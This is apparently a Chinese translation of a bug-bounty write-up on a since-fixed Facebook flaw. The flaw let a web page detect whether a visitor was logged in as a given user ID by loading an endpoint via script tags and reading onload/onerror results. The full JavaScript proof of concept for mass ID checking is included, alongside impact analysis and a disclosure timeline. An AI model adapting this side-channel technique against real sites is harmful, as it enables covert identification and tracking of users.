挖洞經驗 | 通過一個網頁識別Facebook使用者當前登入狀態
本文分享的是一個關於Facebook的漏洞,漏洞機制在於:可以通過一個網頁,以輸入Facebook使用者ID的方式,來識別其對應的Facebook使用者在當前時間內,是否處於Facebook登入狀態。最終,漏洞上報後,Facebook方面花了半年多才修復了這個漏洞,並獎勵了$1000美金賞金。以下為作者漏洞發現的思路過程。
漏洞前言
去年,Facebook深陷劍橋分析公司的使用者隱私事件中,馬克·扎克伯格被要求在國會上出席公開聽證會。聽證會上,其中就有一個問題就是,Facebook是否能通過自身或其嵌入應用的第三方網站來跟蹤使用者收集使用者資訊。當時,很多媒體都對 Facebook做了鋪天蓋地的報道 ,社會上也呈現出一邊倒的負面輿論。為此,作為向公眾擔憂的迴應,Facebook宣佈了很多資料安全措施,其中就包括了啟動 “資料濫用懸賞”計劃(Data Abuse Bounty) ,旨在獎勵與Facebook使用者資料安全相關的漏洞隱患和行為發現,實現全社會對使用者資料保護的監督。
作為我來說,自去年發現了 谷歌的搜尋結果排名漏洞 之後,我就著手研究,是否能通過其它網站來跟蹤或者說識別出Facebook使用者。經過大量測試後,我嘗試著尋找一個漏洞,基於該漏洞,可以發現網站訪問者是否登入了某個相關聯的Facebook賬戶,而且,我希望最終可以實現的識別機制是,每秒要能識別數百個身份的效率。
漏洞發現過程
Facebook部署了好多後端服務,用於全站各種AJAX請求。這些後端服務在安全實現方面,都在服務端響應架構中設定了合理的access-control-allow-origin頭和 各種“神奇”字首 ,以此來阻止JSON劫持和其它惡意攻擊。
首先,我在Facebook中尋找著不存在上述保護機制的服務端,和一些可以在URL連結中傳遞使用者ID的服務端,我還想方設法去解析Facebook響應內容,去確認URL連結中的UID是否正確。
其次,我著重查找了那些URL連結中包含使用者ID的相關圖片,且這些圖片在UID和關聯賬戶登入相匹配時會產生不同行為,這樣的話,我就能進行一些構造利用,但也僅限一些特定ID( 類似方法 )。經測試發現,某張圖片確實在登入匹配時發生了異常行為,但是其相關的URL連結中仍然包含了用於CSRF攻擊防禦的fb_dtsg引數,為了防止濫用,該引數對每位使用者來說都是不同的。
另外,我還檢查了URL連結中的所有301和302跳轉,我想如果可能的話,這種跳轉可能會以某種方式重定向到某張圖片,然後就能構造像上述的攻擊測試了。
最終,經過給大量的上述服務端檢查測試之後,我終於發現了一個服務端在行為方式上有所不同,儘管這只是一小點的略有差異,但是也能說明問題。這個服務端本身確實是有access-control-allow-origin訊息控制頭的,但當URL連結中的使用者ID引數(在__user的URL中)與關聯賬戶的登入行為不匹配時,服務端中就會包含一個”error“字首,而當兩者行為匹配時,其中就不會包括任何字首。URL中的使用者ID和關聯賬戶登入行為匹配時,服務端響應為JSON內容。如下為使用者ID和關聯賬戶登入行為不匹配以及匹配時的響應內容:
然而,由於煩人的access-control-allow-origin訊息控制頭,瀏覽器會發起阻止,所以我不能通過XMLHttpRequest (XHR)方式對它進行呼叫。為此,我一度認為這是一個死衚衕方法,但後來我又意識到,我可以用<script>塊加.src的方式來呼叫這個外部連結啊。總之,這種呼叫行為,肯定是不能成功登入關聯賬戶的,但可以從以上兩種不同的響應方式和content-type頭中來綜合判斷出,關聯賬戶在當前時間內,是否登入Facebook的狀態。為此,還可繼續通過利用<script>的onload 和 onerror事件方法來對登入狀態進行一個有效判斷。
PoC
我發現存在響應異常的Facebook服務端如下:
基於此,我可以構造一個簡單的 Javascript 指令碼配合一些呼叫標籤去檢查相關使用者ID的Facebook登入狀態。由於Facebook的後端為HTTP2協議,所以可以同時快速地處理大量類似請求。在我構造的查詢頁面中,可以每秒查詢400到500個使用者ID,如果按正常來算的話,在一分鐘之內就可以輕鬆查詢數千個使用者ID的登入狀態。況且,Facebook的這個服務端無任何速率限制。
我構造的查詢頁面為: http://www.tomanthony.co.uk/security/fb_identifier/index.html
Facebook的使用者ID一般在登入後的個人設定頁面會有顯示,如:
在這裡,如果你輸入查詢的使用者ID在當前時間內確實處於Facebook登入狀態,它就會顯示:
如果查詢的使用者ID在當前時間內不處於Facebook登入狀態,它的結果為:
其中主要用到的方法如下:
$(document).ready(function() { for (i = 0; i < ids.length; i++) { userid = ids[i]; var scriptblock = document.createElement("script"); scriptblock.src = "https://www.facebook.com/ajax/pagelet/generic.php/TimelineEntStoryActivityLogPagelet?dpr=2&ajaxpipe=1&ajaxpipe_token=AXjdDM6DZ_aiAeG-&no_script_path=1&data=%7B%22year%22%3A2017%2C%22month%22%3A9%2C%22log_filter%22%3A%22hidden%22%2C%22profile_id%22%3A1059016196%7D&__user=" + userid + "&__a=1&__dyn=7AgNe-4amaxx2u6aJGeFxqeCwKyWzEy4aheC267UqwWhE98nwgU6C4UKK9wPGi2uUG4XzEeUK3uczobrzoeonVUkz8nxm1typ8S2m4pU5LxqrUGcwBx-1-wODBwzg7Gu4pHxx0MxK1Iz8d8vy8yeyES3m6ogUKexeEgy9EhxO2qfyZ1zx69wyQF8uhm3Ch4yEiyocUiVk48a8ky89kdGFUS&__req=fetchstream_8&__be=1&__pc=PHASED%3ADEFAULT&__rev=3832430&__spin_r=3832430&__spin_b=trunk&__spin_t=1524222703&__adt=8&ajaxpipe_fetch_stream=1"; scriptblock.id = userid; scriptblock.onload =function() { update_auto_result(this.id, false); }; scriptblock.onerror =function() { update_auto_result(this.id, true); }; document.getElementById('scriptblock').appendChild(scriptblock); } }); function runcheck(userid) { var scriptblock = document.createElement("script"); scriptblock.src = "https://www.facebook.com/ajax/pagelet/generic.php/TimelineEntStoryActivityLogPagelet?dpr=2&ajaxpipe=1&ajaxpipe_token=AXjdDM6DZ_aiAeG-&no_script_path=1&data=%7B%22year%22%3A2017%2C%22month%22%3A9%2C%22log_filter%22%3A%22hidden%22%2C%22profile_id%22%3A1059016196%7D&__user=" + userid + "&__a=1&__dyn=7AgNe-4amaxx2u6aJGeFxqeCwKyWzEy4aheC267UqwWhE98nwgU6C4UKK9wPGi2uUG4XzEeUK3uczobrzoeonVUkz8nxm1typ8S2m4pU5LxqrUGcwBx-1-wODBwzg7Gu4pHxx0MxK1Iz8d8vy8yeyES3m6ogUKexeEgy9EhxO2qfyZ1zx69wyQF8uhm3Ch4yEiyocUiVk48a8ky89kdGFUS&__req=fetchstream_8&__be=1&__pc=PHASED%3ADEFAULT&__rev=3832430&__spin_r=3832430&__spin_b=trunk&__spin_t=1524222703&__adt=8&ajaxpipe_fetch_stream=1"; scriptblock.id = userid; scriptblock.onload =function() { show_result(userid, false); }; scriptblock.onerror =function() { show_result(userid, true); }; document.getElementById('manualblock').appendChild(scriptblock); } function show_result(userid, status) { if (userid == "") return; try { if (status) { $("#FacebookStatus").html("You <span class='green'>are</span> currently logged in to <strong>" + userid + "</strong>"); }else{ $("#FacebookStatus").html("You <span class='red'>are not</span> currently logged in to <strong>" + userid + "</strong>"); } }catch(err) { //nada } } function update_auto_result(userid, status) { var people = {}; people["4"] = "MarkZ"; if (status) { if (userid in people) { $("#knownAccount").html("I know you! You are: " + people[userid]); }else{ $("#knownAccount").html("I know you! You are: " + userid); } } } </script>
具體可以 右鍵檢視網頁原始碼 來參考。
漏洞危害
單獨從漏洞利用方面來講,該漏洞影響有限,因為需要查詢某個Facebook使用者的登入狀態,你還要需要知道他的Facebook使用者ID。
然而,”劍橋分析“資料隱私醜聞事件中就洩露了大量Facebook使用者資訊,一旦這些資訊被人惡意利用,結合該漏洞,無需其它Facebook APIs,就能對這些使用者的Facebook登入狀態進行識別了。
另外,該漏洞最邪惡的攻擊利用者,如某些專制政府,他們手裡肯定掌握某些特定人員的如使用者ID的Facebook使用者資訊。其次,如果在某些公司內網中,要收集內部人員的Facebook使用者資訊也是非常容易的。
所以,綜合來說,確實漏洞威脅有限,但是,對大部份人來說,其影響可能很小,但對一些特定人群來說,影響就會很大。對於任何被識別的Facebook使用者來說,這也屬於個人隱私侵犯。
漏洞披露程序
2018.4.20 漏洞初報 2018.4.20 Facebook回覆我漏洞已經轉給相關內部安全團隊進行調查 2018.5.1 我詢問Facebook當前漏洞狀態 2018.5.2 Facebook回覆仍然處理調查過程之中 2018.5.23 我發現漏洞已在 Chrome 瀏覽器環境進行了修復,但還可以通過Safari進行利用 2018.5.23 Facebook回覆正在制訂修復方案 2018.6.20 Facebook獎勵了我$1000美金 2018.10.1 向 Facebook進行漏洞公開申請 2018.10.1 Facebook回覆稱漏洞還在處於修復過程中 2018.10.1 我繼續跟進 之後Facebook回覆稱可以公開漏洞
*參考來源: tomanthony ,clouds編譯,轉載請註明來自FreeBuf.COM